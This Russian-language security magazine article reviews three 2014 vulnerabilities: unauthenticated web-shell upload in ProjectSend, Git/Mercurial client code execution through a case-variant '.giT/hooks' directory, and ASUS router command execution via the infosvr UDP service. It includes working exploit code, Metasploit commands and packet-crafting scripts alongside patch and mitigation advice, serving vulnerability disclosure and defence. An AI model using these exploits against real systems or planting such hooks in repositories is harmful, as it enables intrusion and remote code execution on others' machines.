Содержание статьи
Загрузка произвольных файлов в ProjectSend
- CVSSv2: 7.5 (Av:R/Ac:L/A:N/C:P/I:P/A:P)
- Дата релиза: 2 декабря 2014 года
- Автор: Fady Mohammed Osman, Brendan Coles
- CVE: 2014-9567
Как всегда, начнем с простой уязвимости. Проект ProjectSend служит для быстрого обмена файлами между коллегами, друзьями и просто другими пользователями сети. Но мало того, что файл process-upload.
позволяет загружать файлы неавторизованным пользователям, так еще и отсутствует проверка на формат/расширение PHP-скриптов, что позволяет нам с легкостью загрузить web-шелл и выполнить произвольный код от имени пользователя, под которым запущен web-сервер.
EXPLOIT
Эксплойт, как и уязвимость, довольно прост. Берем популярный шелл c99, выбираем имя, под каким он будет храниться, и отправляем в виде POST-запроса на сервер с уязвимым ПО:
url = sys.argv[1] + "/" + 'process-upload.php' + '?name=' + sys.argv[2]
print "Sending Url " + url
files = {'file': open(sys.argv[2], 'rb')}r = requests.post(url, files=files)print r.text
Для версий от r221 файл по умолчанию загружается в upload/
, а для более старых это будет upload/
.
Если у тебя нет под рукой c99 или любого другого шелла (которые ты с легкостью можешь найти на форуме вайтхетов), то воспользуйся Metasploit-модулем:
msf > use exploit/unix/webapp/projectsend_upload_exec
TARGETS
- ProjectSend <= r561.
SOLUTION
На момент написания статьи о патче не было известно.
Выполнение произвольного кода в клиентах для Git/Mercurial
- CVSSv2: N/A
- Дата релиза: 20 декабря 2014 года
- Автор: Tim Pettersen, jhart
- CVE: 2014-9390
О Git и Mercurial мы уже писали не раз на страницах журнала, поэтому перейдем сразу к уязвимостям. Для начала вспомним базовые вещи. Проект под Git или Mercurial — это всего лишь директория. Сам репозиторий — это просто директория с особенным именем (.
для Git и .
для Mercurial), содержащая файлы с настройками и метаданные для создания репозитория. Все, что находится вне этого раздела, лишь груда файлов и папок, которые часто называют рабочим каталогом. Она записана на диск и основана на указанных ранее метаданных. Поэтому, если у тебя есть Git-проект с именем Test
, то Test/.
— это репозиторий, а все, что вне его, — это рабочая копия файлов, которая хранится в Git-проекте в данный момент. То же самое относится и к Mercurial.
Ниже представлен пример простого Git-репозитория, но без закомиченных файлов. Несмотря на то что репозиторий пустой, у него все равно имеется некоторое количество метаданных и файлов с настройками.
$ git init foo
$ tree -a foo
foo
└── .git
├── branches
├── config
├── description
├── HEAD
├── hooks
│ ├── applypatch-msg.sample
│ ├── commit-msg.sample
│ ├── post-update.sample
│ ├── pre-applypatch.sample
│ ├── pre-commit.sample
│ ├── prepare-commit-msg.sample
│ ├── pre-rebase.sample
│ └── update.sample
├── info
│ └── exclude
├── objects
│ ├── info
│ └── pack
└── refs
├── heads
└── tags
Теперь добавим один файл test.
и посмотрим, как изменится содержимое этой директории.
$ cd foo
$ date > test.txt && git add test.txt && git commit -m "Add test.txt" -a...
$ tree -a ..├── .git
│ ├── branches
│ ├── COMMIT_EDITMSG
│ ├── config
│ ├── description
│ ├── HEAD
│ ├── hooks
│ │ ├── applypatch-msg.sample
│ │ ├── commit-msg.sample
│ │ ├── post-update.sample
│ │ ├── pre-applypatch.sample
│ │ ├── pre-commit.sample
│ │ ├── prepare-commit-msg.sample
│ │ ├── pre-rebase.sample
│ │ └── update.sample
│ ├── index
│ ├── info
│ │ └── exclude
│ ├── logs
│ │ ├── HEAD
│ │ └── refs
│ │ └── heads
│ │ └── master
│ ├── objects
│ │ ├── 1c
│ │ │ └── 8fe13acf2178ea5130480625eef83a59497cb0
│ │ ├── 4b
│ │ │ └── 825dc642cb6eb9a060e54bf8d69288fbee4904
│ │ ├── e5
│ │ │ └── 58a44cf7fca31e7ae5f15e370e9a35bd1620f7
│ │ ├── fb
│ │ │ └── 19d8e1e5db83b4b11bbd7ed91e1120980a38e0
│ │ ├── info
│ │ └── pack
│ └── refs
│ ├── heads
│ │ └── master
│ └── tags
└── test.txt
Аналогично для Mercurial:
$ hg init blah
$ tree -a blah
blah
└── .hg
├── 00changelog.i
├── requires
└── store
...
$ cd blah
$ date > test.txt && hg add test.txt && hg commit -m "Add test.txt"$ hg log
...
$ tree -a ..├── .hg
│ ├── 00changelog.i
│ ├── cache
│ │ └── branch2-served
│ ├── dirstate
│ ├── last-message.txt
│ ├── requires
│ ├── store
│ │ ├── 00changelog.i
│ │ ├── 00manifest.i
│ │ ├── data
│ │ │ └── test.txt.i
│ │ ├── fncache
│ │ ├── phaseroots
│ │ ├── undo
│ │ └── undo.phaseroots
│ ├── undo.bookmarks
│ ├── undo.branch
│ ├── undo.desc
│ └── undo.dirstate
└── test.txt
Директории (.git и .hg) создаются клиентом при инициализации созданного или клонированного проекта. Содержимое же может быть изменено пользователем, к примеру настройки репозитория (.git/config и .hg/hgrc), которые обычно изменяются программой‑клиентом для Git и Mercurial в ходе нормальных операций над проектом. То есть в .
и .
находится все нужное для работы с репозиторием, а все, что вне их, считается частью рабочей директории, а именно содержимое проекта (test.
в нашем упрощенном примере). Более подробно о работе с программами Git и Mercurial можно прочитать в соответствующей документации:
В ходе обычных операций, таких как клонирование или обновление, рабочий каталог обновляется до текущего состояния репозитория. Если мы используем указанные выше примеры и клонируем их, то локальный клон репозитория будет обновлен до текущего состояния test.
.
Здесь и начинаются проблемы. И в Git-, и в Mercurial-клиентах содержится код, который гарантирует защиту .git или .hg от неавторизованных изменений со стороны не Git-клиента — например, Git-сервера. И это понятно, ведь если они не будут защищены, то Git-сервер сможет манипулировать содержимым различных важных файлов внутри репозитория, внедрить вредоносный код, что в результате приведет к выполнению его на клиенте или в продакшне.
К сожалению, оказалось, что не все важные директории правильно обрабатываются. В частности:
- В операционных системах с нечувствительными к регистру файловыми системами (таких как Windows и OS X) Git-клиенты можно заставить получить и записать файлы с настройками в
.
и после этого выполнить произвольный код. Для этого достаточно убедить пользователя выполнить определенные действия с репозиторием (clone, checkout и так далее), который находится под управлением атакующего.git - Такая же проблема существует и в Mercurial-клиентах в ОС с HFS+ файловой системой (OS X и Window), только она происходит из‑за игнорирования определенных Unicode-кодов в именах файлов.
- Помимо указанных выше, Mercurial-клиент для Windows имеет еще одну почти похожую уязвимость, но только там, где существуют короткие имена файлов в стиле MS-DOS или доступен формат 8.3.
Как эксплуатировать последние две уязвимости в Mercurial, можно догадаться из их патчей:
EXPLOIT
Эксплуатация довольно проста. Эксплойт для первой уязвимости можно попробовать у себя локально штатными средствами для большинства ОС:
cd /tmp
REPO=`mktemp -d`git init $REPOcd $REPOmkdir -p .giT/hooks
echo -ne "#\!/bin/sh\r\nid > /tmp/id" > .giT/hooks/post-checkout
chmod 755 .giT/hooks/post-checkout
git add .git commit -m "test" -agit update-server-info
ruby -run -e httpd -- -p 8080 $REPO/.git
Теперь все, кто попытается клонировать проект по нашему адресу через уязвимый Git-клиент, создадут у себя файл /
с текстом выполнения команды id
:
git clone http://localhost:8080/
Для Mercurial эксплойт делается аналогичным образом.
Есть готовый PoC для первого случая от знаменитой Рутковской (@rootkovska), который запускает калькулятор и в OS X, и в Windows. Для его проверки достаточно клонировать проект к себе в систему:
git clone git://git.qubes-os.org / joanna/git-calc-launcher-cve-2014-9390.git
Также существует Metasploit-модуль, который эксплуатирует все три указанные уязвимости. На момент написания статьи его не было в текущей базе MSF, поэтому, возможно, его придется вручную добавить к себе в базу, взяв скрипт из GitHub:
msf > use exploit/multi/http/git_client_command_exec
msf exploit(git_client_command_exec) > exploit
После успешного клонирования можем запустить наш любимый калькулятор:
msf exploit(git_client_command_exec) > sessions -c calc
Была новость, что GitHub ищет такие вредоносные репозитории и удаляет. Так что в случае, если ты работаешь только с GitHub, вроде как можешь быть спокоен, но клиент все же лучше обнови :).
TARGETS
- Git < 1.8.5.6;
- Git < 1.9.5;
- Git < 2.0.5;
- Git < 2.1.4;
- Git < 2.2.1;
- Mercurial < 3.2.3.
SOLUTION
Есть исправление от производителя. Помимо обновления желательно включить у себя следующие опции:
- receive.fsckObjects;
- core.protectHFS;
- core.protectNTFS.
Включить их можно посредством следующих команд:
git config --global --bool receive.fsckObjects truegit config --global --bool core.protectHFS truegit config --global --bool core.protectNTFS true
Или локально:
for repo in `ls -d */`; do echo $repo; cd $repo; git config --bool receive.fsckObjects true; git config --bool core.protectHFS true; git config --bool core.protectNTFS true; cd ..; done
Выполнение произвольных команд в роутерах от ASUS
- CVSSv2: N/A
- Дата релиза: 4 января 2015 года
- Автор: jduck, dnlongen, RMerl
- CVE: 2014-9583
В различных моделях роутеров от ASUS уже не впервые находят уязвимости. На этот раз ошибка была найдена в сервисе с именем infosvr
, который слушает широковещательный UDP-порт 9999 на локальном или WLAN-интерфейсе. Для лучшего понимания обратимся к открытой реализации прошивки под такие устройства от пользователя RMerl, представляющей собой более расширенную версию кода от ASUS:
177 char *processPacket(int sockfd, char *pdubuf)178 {...202 phdr = (IBOX_COMM_PKT_HDR *)pdubuf;...207 if (phdr->ServiceID==NET_SERVICE_ID_IBOX_INFO &&208 phdr->PacketType==NET_PACKET_TYPE_CMD)209 {...
Функция processPacket
вызывается после получения пакета INFO_PDU_LENGTH
, состоящего из 512 байт. Уязвимый код находится по следующему пути: main->
. Далее сервис раскладывает пакет на структуру и проверяет, содержат ли поля ServiceID
и PacketType
ожидаемые значения.
Следующий блок кода включает код, из‑за которого данная уязвимость возможна:
222 if (phdr->OpCode!=NET_CMD_ID_GETINFO && phdr->OpCode!=NET_CMD_ID_GETINFO_MANU)223 {224 phdr_ex = (IBOX_COMM_PKT_HDR_EX *)pdubuf;225226 // Проверка MAC-адреса227 if (memcpy(phdr_ex->MacAddress, mac, 6)==0)228 {229 _dprintf("Mac Error %2x%2x%2x%2x%2x%2x\n",230 (unsigned char)phdr_ex->MacAddress[0],231 (unsigned char)phdr_ex->MacAddress[1],232 (unsigned char)phdr_ex->MacAddress[2],233 (unsigned char)phdr_ex->MacAddress[3],234 (unsigned char)phdr_ex->MacAddress[4],235 (unsigned char)phdr_ex->MacAddress[5]236 );237 return NULL;238 }239240 // Проверка пароля241 //if (strcmp(phdr_ex->Password, "admin")!=0)242 //{243 // phdr_res->OpCode = phdr->OpCode | NET_RES_ERR_PASSWORD;244 // _dprintf("Password Error %s\n", phdr_ex->Password);245 // return NULL;246 //}247 phdr_res->Info = phdr_ex->Info;248 memcpy(phdr_res->MacAddress, phdr_ex->MacAddress, 6);249 }
Он начинается с исключения пары значений переменной OpCode
, которые предположительно не требуют аутентификации. Затем вызывается функция memcpy(
с подозрительной проверкой на возврат значения 0. Это очень похоже на то, что автор собирался использовать ее вместо memcmp
. Хотя, честно говоря, использование MAC-адреса устройства как метод аутентификации совсем не достаточно.
Следующий блок закомментирован, но мы видим, что автор хотел добавить проверку паролем, правда с довольно простым паролем по умолчанию — admin
.
Следуем дальше. Проверяем полученные OpCode
:
251 switch(phdr->OpCode)252 {...428 case NET_CMD_ID_MANU_CMD:429 {430 #define MAXSYSCMD 256431 char cmdstr[MAXSYSCMD];432 PKT_SYSCMD *syscmd;...440 syscmd = (PKT_SYSCMD *)(pdubuf+sizeof(IBOX_COMM_PKT_HDR_EX));...443 if (syscmd->len>=MAXSYSCMD) syscmd->len=MAXSYSCMD;444 syscmd->cmd[syscmd->len]=0;445 syscmd->len=strlen(syscmd->cmd);446 fprintf(stderr,"system cmd: %d %s\n", syscmd->len, syscmd->cmd);447 #if 0...512 #endif513 {514 sprintf(cmdstr, "%s > /tmp/syscmd.out", syscmd->cmd);515 system(cmdstr);
Если атакующий сможет указать значение NET_CMD_ID_MANU_CMD
, то предыдущий блок обработает пакет и преобразует в структуру PKT_SYSCMD
, где все части syscmd
будут под полным контролем атакующего. Вследствие чего мы можем выполнить произвольный код, результат которого запишется во временный файл, прочитается и отправится обратно по адресу инициализирующего пакета.
EXPLOIT
На GitHub выложен один Python-скрипт под данную уязвимость, но, судя по структуре, автор будет пополнять этот репозиторий.
Отправляем пакет со следующим содержимым:
ServiceID [byte] ; NET_SERVICE_ID_IBOX_INFOPacketType [byte] ; NET_PACKET_TYPE_CMDOpCode [word] ; NET_CMD_ID_MANU_CMDInfo [dword] ; Комментарий: "Or Transaction ID"MacAddress [byte[6]] ; Двойная неправильная проверка с помощью memcpy вместо memcmpPassword [byte[32]] ; Не проверяетсяLength [word] ; ДлинаCommand [byte[420]] ; 420 байт в структуре, 256 – 19 не используемые в коде = 237 доступных
В результате получаем следующий запрос:
packet = (b'\x0C\x15\x33\x00' + os.urandom(4) + (b'\x00' * 38) + struct.pack('<H', len(enccmd)) + enccmd).ljust(512, b'\x00')
Обрабатываем пакет...
ServiceID [byte] ; NET_SERVICE_ID_IBOX_INFOPacketType [byte] ; NET_PACKET_TYPE_RESOpCode [word] ; NET_CMD_ID_MANU_CMDInfo [dword] ; Аналогично с отправленнымMacAddress [byte[6]] ; Заполнено намиLength [word] ; ДлинаResult [byte[420]] ; Actually returns that amount
...с помощью такого кода:
while True: data, addr = sock.recvfrom(512) if len(data) == 512 and data[1] == 22: breaklength = struct.unpack('<H', data[14:16])[0]s = slice(16, 16+length)sys.stdout.buffer.write(data[s])
Помимо Python-версии, существует оригинальный эксплойт на С, который находится в том же репозитории. Пример его работы:
$ ./asus-cmd "nvram show | grep -E '(firmver|buildno|extendno)'"[*] sent command: nvram show | grep -E '(firmver|buildno|extendno)'[!] received 512 bytes from 10.0.0.2:37625
0c 15 0033 54ab7bc4 41:41:41:41:41:41
0031 nvram show | grep -E '(firmver|buildno|extendno)'[!] received 512 bytes from 10.0.0.1:9999
0c 16 0033 54ab7bc4 xx:xx:xx:xx:xx:xx
004e buildno=376
extendno_org=2524-g0013f52
extendno=2524-g0013f52
firmver=3.0.0.4
TARGETS
Протестировано на устройствах:
- RT-N66U 3.0.0.4.376_1071-g8696125;
- RT-AC87U 3.0.0.4.378_3754;
- RT-N56U 3.0.0.4.374_5656.
SOLUTION
Есть исправление от производителя. Также можно воспользоваться следующим патчем. По умолчанию стоковая прошивка от ASUS не позволяет запускать произвольные скрипты при загрузке устройства, но при этом позволяет запускать скрипты в любое время при монтировании USB. Логинимся на устройстве через Telnet или SSH:
nvram set script_usbmount="/jffs/scriptname"nvram commit
И создаем файл со следующим содержимым:
#!/bin/shiptables -I INPUT -p udp --dport 9999 -j DROP
Другой путь — просто завершить уязвимый процесс.
#!/bin/shfor pid in `ps -w | grep infosvr | grep -v grep | awk '{print $1}'`do echo "killing $pid" kill $piddone
Сохраняем файл с именем, указанным в переменной script_usbmount
, и исполняем файл (или просто перезагружаем роутер). Ну и не забываем, что триггером служит монтирование USB-устройства, поэтому, если такого нет, советуем приобрести :).